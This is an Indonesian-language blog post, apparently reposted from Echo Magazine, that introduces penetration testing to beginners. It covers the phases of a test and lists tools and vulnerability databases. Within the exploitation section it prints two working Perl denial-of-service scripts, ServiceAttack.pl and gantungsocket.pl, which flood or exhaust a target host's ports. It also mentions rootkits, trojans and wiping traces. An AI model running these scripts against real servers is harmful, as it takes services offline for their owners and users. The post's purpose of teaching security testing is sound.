Ads by Google

PENETRATION TESTING: Pengenalan Untuk Pemula [Echo Magazine]

Penetration Testing

Sebelum terlalu jauh membahas tentang penetration testing, alangkah
baiknya kita terlebih dahulu mengetahui tentang definisi dari
penetration testing itu sendiri. Merujuk dari penjelasan yang diberikan
wikipedia, penetration testing merupakan sebuah metode untuk
meng-evakuasi keamanan sistem komputer melalui simulasi pennyerangan
terhadap target dengan menggunakan malicious source (program jahat).
Secara umum, proses penetration system banyak disamakan oleh para
junior system administrator  dengan proses vulnerability system
assessment. 

Kesalahan mindset tersebut menjadi suatu kesalahan fatal dalam
pengelolaan keamanan sistem komputer. Vulnerability system assessment
merupakan sebuah prosedur scanning terhadap vulnerabilities yang
terdapat pada sistem dan melalukan filtering terhadap kelemahan
tersebut untuk menghindari aksi eksploitasi oleh hacker. Hal ini jelas
hampir mirip dengan pengertian harfiah dari penetration testing yang
mana proses pencarian terhadap vulnerabilities (kelemahan) dan
melakukan eksploitasi terhadap sistem tersebut hingga tester mengetahui
titik lemah sebenarnya dari sistem tersebut.  

Alasan umum tentang mengapa system administrator WAJIB melakukan
penetration testing terhadap systemnya sendiri antara lain untuk
menemukan titik kelemahan dan vulnerabilities system sebelum titik
kelemahan tersebut dieksploitasi oleh hacker, memberikan gambaran bahwa
manajemen terhadap system keamanan komputer merupakan sebuah hal
keharusan yang harus dilakukan, menguji coba terhadap mekanisme
firewal/alur keamanan sistem dan meng-evaluasi apakah sistem yang
digunakan sudah memenuhi standar keamanan sistem komputer (walaupun
sampai saat ini saya sendiri tidak mengetahui tolak ukur sebenarnya apa
yang dikatakan sistem yang aman), melakukan tracing terhadap kesalahan
internal (kesalahan penerapan algoritma keamanan komputer/rule hak
akses) dan bagaimana mempermudah system administrator dalam mengelola
management log jika terjadi insiden penyerangan pada sistem (dalam hal
ini erat kaitannya dengan digital forensic).  

Merujuk pada paper OSSTMM (December 13, 2006), dijabarkan mengenai
teori pengimplementasian sistem keamanan komputer yang dinilai cukup
aman untuk meminimalisir tingkat kecelahan keamanan terhadap server.
Beberapa metode keamanan komputer yang dapat implementasikan pada
sistem antara lain : 

Internet Gateway and Service

- Jangan pernah menggunakan remote akses yang tidak terenkripsi
- Jangan pernah menggunakan remote akses yang tidak terautentifikasi
- Lakukan pembatasan akses yang diperboleh baik itu diijinkan ataupun
  ditolak secara spesifik
- Lakukan monitoring secara berkala dan lakukan pencatatan log
- Desentralisasi
- Batasi antara koneksi sistem yang tidak terpercaya 
- Lakukan proses "penyeleksian" terhadap inputan yang diterima server
  dan lakukan validasi terlebih dahulu
- Lakukan installasi program yang sesuai dengan kebutuhan
- Selalu usahakan server berada pada status "invisible" User
- Desentralisasi autorisasi
- Hak akses terhadap sistem hanya dapat dilakukan pada jaringan
  internal
- Membatasi informasi yang diberikan kepada user mengenai teknologi
  infrastruktur dan Informasi Server

Secara umum, tidak adan aturan baku yang benar-benar mengatur tentang
proses penetrasi terhadap server. Tingkat keberhasilan proses penetrasi
terhadap server sendiri ditentukan dari tingkat kekreativitasan tester
untuk berpikir mencari jalan terbaik dan terefektif untuk memperoleh
hasil seakurat mungkin terhadap kelemahan server. merujuk pada
refferensi "Professional Penetration Testing", dikemukakan beberapa
tahapan yang "umum" dilakukan oleh tester untuk mencari kelemahan dari
server 

1. Information Gathering
   Information Gathering difokuskan untuk dapat mengumpulkan informasi
   secukupnya mengenai sistem target. proses pengumpulan informasi
   sendiri terbagi menjadi dua, yaitu passive information gathering dan
   active information gathering. pengumpulan informasi menggunakan
   teknik passive information gathering dapat menggunakan service
   WHOIS, DNS, Search Engine (Google), Website Analisis Security
   (netcraft) dan tools seperti Maltego, metagofil dan tracerout.
   Sedangkan untuk prosedur active information gathering biasanya
   hacker menggunakan teknik Port Scanning, Banner Grab,
   Fingerprinting, Network Mapping dan ARP Poisoning

2. Vulnerability Scanning 
   Langkah ini merupakan lanjutan dari proses Information Gathering,
   tujuan melakukan proses ini untuk mengidentifikasi kelemahan yang
   kemungkinan dapat dimanfaatkan untuk proses eksploitasi.
   Vulnerability Scanning dapat menggunakan Database-database
   vulnerabilites website seperti: CVE Database, SecurityFocus, Milis
   Bugtraq, Inesecure, cve.mitre.org, xforce.iss.net,
   packetstormsecurity.org, kb.cert.org/vuls. 
   
   Selain menggunakan database vulnerabilites website, penggunaan tools
   dalam hal vulnerability Scanning juga dapat dilakukan dengan
   menggunakan software seperti: Nessus, Qualys, Fuzzing (Vunelrability
   Scanning Web Based), Nikto (Vunelrability Scanning Web Based), dan
   WebInspect (Vunelrability Scanning Web Based).  

3. Penetration Testing
   Tahapan ini merupakan tahapan yang paling ditunggu-tunggu oleh para
   hacker, tujuan dari tahapan ini adalah eksploitasi terhadap
   kelemahan system (vulnerabilities system) yang sudah didapatkan pada
   tahapan sebelumnya. tahapan dalam penetration testing antara lain
   gaining access,Escalate Privilage, Maintain Access, Clean Up. 
   
   Proses gaining access (penetrasi) dapat menggunakan beberapa cara,
   antara lain dengan penggunaan Metasploit. Untuk proses Escalate
   Privilege merupakan sebuah proses untuk peningkatan hak akses yang
   sudah didapatkan oleh hacker. teknik yang biasanya dilakukan antara
   lain  crack admin/crack password, brute-force dan rainbow tables. 
   
   Langkah selanjutnya yang harus dilakukan apabila sudah mendapatkan
   hak akses adalah dengan menjaga hak akses tersebut agar kita tetap
   bisa masuk ke dalam sistem tanpa bersusah payah seperti di awal
   (Maintain Access), salah satu metode yang sering digunakan antara
   lain rootkits dan trojans. langkah terakhir yang harus dilakukan
   oleh hacker setelah mendapatkan seluruh informasi yang dia butuhkan
   adalah dengan menghilangkan semua jejak yang tertinggal dalam
   sistem.  
   
   Salah satu item penetration testing yang dapat digunakan untuk
   menguji tentang ketahanan dan kekuatan server dapat menggunakan
   teknik DoS, DoS merupakan sebuah proses yang difokuskan untuk
   menghabiskan resource yang terdapat pada sistem target. varian
   terbaru dari serang DoS adalah DDoS, DDoS adalah sebuah serangan
   flodding yang menggunakan puluhan hingga ribuan zombie (victim
   komputer yang sudah diinfeksi terlebih dahulu) yang bertujuan untuk
   menghabiskan resource dari sebuah server. 
   
   Serangan DoS sendiri terbagi menjadi beberapa jenis  antara lain
   yang cukup terkenal adalah  Smurf, Fraggle, SYN Flood, Teardrop dan
   Ping Of Death. berikut ini saya lampirkan beberapa script DoS yang
   saya gunakan untuk melakukan penetration test terhadap server lokal
   yang pernah saya gunakan (Shoutz and Tribute to MOBY dan Y3DIPS).
   saya hanya menyesuaikan dengan kondisi jaringan yang saya gunakan.
   Bagi yang ingin menggunakannya harap teliti untuk mengganti beberapa
   settingan di dalam script tersebut ServiceAttack.pl (sebuah script
   Dos yang langsung melakukan serangan kepada service port 81) 
   
--------------------- ServiceAttack.pl -----------------   
   #!/usr/bin/perl -w

 use IO::Socket;

     printf"\n***********************************************************************\n";

       print "  * Script perl disini digunakan untuk melakukan serangan D.O.S       *\n";
  print "  * thanks to modified, tested and credit for y3dips, new inspiration *\n";
  print "  *          based on <Luis Wong> lwong [at]mpsnet.net.mx             *\n";
  print "  *      greetz to echostaff a.k.a the_day, moby, comex, all crew     *\n";
  printf"  ***********************************************************************\n\n";

  if(@ARGV == 1){
        my $host = $ARGV[0];
        my $i;
        while(){
  $sock = IO::Socket::INET->new(PeerAddr => $host,
          PeerPort => "81",
          Proto => 'tcp');
  unless($sock){
    die "  kalo masih ngak bisa, check portnya atau ditolak ama si target server!.";
  }
  $sock->autoflush(1);
  print $sock "POST /eCHo.htm HTTP/1.1\nHost: $host\nTransfer-Encoding: 
  chunked\n\n90000000\n\n";
  while ( <$sock> ){ 
      print; 
  }

  close $sock;
         $i++;
  print ".";
      }
  }else{

       print "           [GUnakan] ...   ./$0 'HosT'      <<  untuk linux \n"  ;
       print "           [Gunakan] ...   perl $0 'Host'   <<untuk windows  \n";
 }  
-------------------- ServiceAttack.pl --------------------

 gantungscoket.pl (Script ini bertujuan untuk menyerang langsung socket dari server)
 
-------------------- gantungsocket.pl --------------------    
    #!/usr/bin/perl
 
 use IO::Socket;

 if (!$ARGV[1]) {

  print "Cara Menggunakanna: perl gantungsocket.pl [host] [port] \n";
  exit;

  }
 for (1..1300) {
  $fh{$_}=new IO::Socket::INET
   PeerAddr=> "$ARGV[0]",
   PeerPort=> "$ARGV[1]",
   Proto => "tcp"
 or die; print "$_\n"

 }
 # Thx to MOBY for your based code 
-------------------- gantungsocket.pl ---------------------


4.  Analisis terhadap proses pentest
    Setelah mendapatkan hasil yang cukup memuaskan, salah satu tugas
    terpenting dari seorang tester adalah melakukan analisis terhadap
    permasalahan dan vulnerabities yang sudah berhasil di eksploitasi
    sehingga menemukan sebuah solusi/jalan keluar untuk menangani
    permasalahan tersebut. 

5. Documentation
    Proses ini merupakan langkah terakhir dari proses Pentest. Intisari
    dari dokumentasi penetration testing ialah untuk mengklasifikasikan
    vulnerabilities tersebut berada pada posisi mana apakah tergolong
    beresiko tinggi, beresiko menengah, ataupun tidak beresiko sama
    sekali


-----[ Link Bermanfaat

Untuk melakukan simulasi tentang proses penetrasi alangkah baiknya
junior administrator dapat bermain-main terlebih dahulu dengan beberapa
tools dibawah ini, antara lain 
    
    1. Backtrack
 2. Nmap (http://www.insecure.org/nmap/)
 3. Nessus (http://www.nessus.org/)
 4. Metasploit (http://metasploit.org/)
 5. WebScarab
 6. Wireshark
 7. Immunity Canvas (http://www.immunitysec.com/index.shtml)
 8. IP Scanner (http://www.topshareware.com/IPScanner-download-11457.htm)
 9. ISS Internet Scanner (http://www.iss.net)
 10. CSS Cisco Security Scanner (http://www.cisco.com)
 11. N-Stealth Scanner (http://www.nstalker.com/eng/products/nstealth)
 12. SuperScan 4.0 (http://www.scanwith.com/download/SuperScan.htm)

setelah cukup familiar dengan beberapa tools tersebut tidak ada
salahnya untuk mencoba melakukannya dalam sebuah simulasi, perlengkapan
yang mungkin dibutuhkan antara lain De-ICE Pentest Disc, Metasploit
Unleashed, WebGoat, HackThisSite, Hax.tor.hu, 
 
Selain beberapa refferensi yang sudah saya berikan diatas, informasi
tentang tools untuk melakukan penetrasi juga dapat ditemukan pada site
dibawah ini,

1. http://www.frozentech.com/content/livecd.php 
   Live CD bootable linux dengan tools yang dilengkapi dengan tools untuk
   penetration testing

2. http://www.remote-exploit.org 
   Situs yang menjadi "kandang" hacking, salah satu produk terkenal yang
   disediakan remote exploit adalah backtrack 

3. http://examples.oreilly.com/networksa/tools/ situs ini
   berisi kira-kira 100 buah tools yang digunakan untuk penetration
   testing

Beberapa website yang menyediakan database tentang vulnerabilities
system antara lain :
1. Milworm (http://www.milw0rm.com) *down
2. Metasploit (http://www.metasploit.com)
3. Security Focus (http://www.securityfocus.com)
4. Packet Storm Security (http://www.packetstormsecurity.org)

-----[ Referensi

[x] Thomas, Wilhelm. Professional Penetration Testing. Rockland:
    Syngress Publishing Inc, 2010 
[x] http://www.bitsecglobalforensics.com/netdefense.co.uk 
[x] Paper OSSTMM  2.2. (Open-Source Security Testing Methodology Manual) 

Source Here

No comments:

Powered by Blogger.